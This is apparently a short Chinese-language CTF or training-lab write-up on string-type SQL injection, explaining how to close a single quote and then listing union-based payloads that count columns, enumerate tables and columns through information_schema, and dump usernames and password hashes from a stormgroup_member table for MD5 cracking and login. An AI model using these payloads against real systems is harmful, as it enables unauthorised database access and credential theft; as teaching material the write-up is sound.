思路:字符型注入,而且看url就是?id=tingjigonggao字符的类型,那肯定就是要闭合单引号然后union 查询 然后老样子,库,表,列,值
那么问题来了,什么是闭合单引号呢,其实简单说就是
字符型查询语句
select A from b where c ='tingjigonggao(字符串)'
所以我们的注入要先把单引号闭合然后在查询,不然union查询都写在单引号里面就没有意义了
即payload是 ' union select d from e --+
然后我们注入的时候就是
select A from b where c ='' union select d from e --+'
--+是注释后面的意思
总结:注入的时候要判断是字符型还是数字型,是字符型要先闭合单引号
先order by 1找到列数,直到5发现错误,说明4列
' order by 5 --+
找回显
'union select 1,2,3,4--+
库
'union select 1,database(),3,4--+
表
'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4--+
列
'union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572),3,4--+
值
'union select 1,(select group_concat(name,password) from stormgroup_member),3,4--+
解md5
登入